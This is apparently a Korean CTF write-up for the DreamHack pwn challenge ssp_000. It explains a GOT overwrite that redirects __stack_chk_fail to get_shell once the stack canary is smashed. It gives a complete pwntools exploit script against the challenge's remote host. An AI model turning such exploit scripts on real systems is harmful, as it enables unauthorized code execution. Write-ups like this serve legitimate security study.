이 문제 생각 많이 했는데 카나리를 leak해서 return address를 get_shell로 덮는 복잡한 방법이 아니라
카나리 변조 시 __stack_chk_fail 함수가 호출되는 것을 이용해서 카나리를 덮은 후 v4에 __stack_chk_fail got를 주고 v5에 get_shell 주소를 주면 종료 시 get_shell이 실행되어 쉘이 따진다.
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
#p = process("./ssp_000")
p = remote("host1.dreamhack.games", 8244)
elf = ELF("./ssp_000")
get_shell = elf.symbols['get_shell']
p.send('A'*0x50)
p.sendlineafter("Addr : ", str(elf.got['__stack_chk_fail']))
p.sendlineafter("Value : ", str(get_shell))
p.interactive()
[DreamHack] basic_rop_x86 (0) | 2020.05.31 |
---|---|
[DreamHack] basic_rop_x64 (0) | 2020.05.31 |
[DreamHack] oneshot (2) | 2020.05.31 |
[DreamHack] ssp_001 (0) | 2020.05.31 |
[Dreamhack] rtld (0) | 2020.05.17 |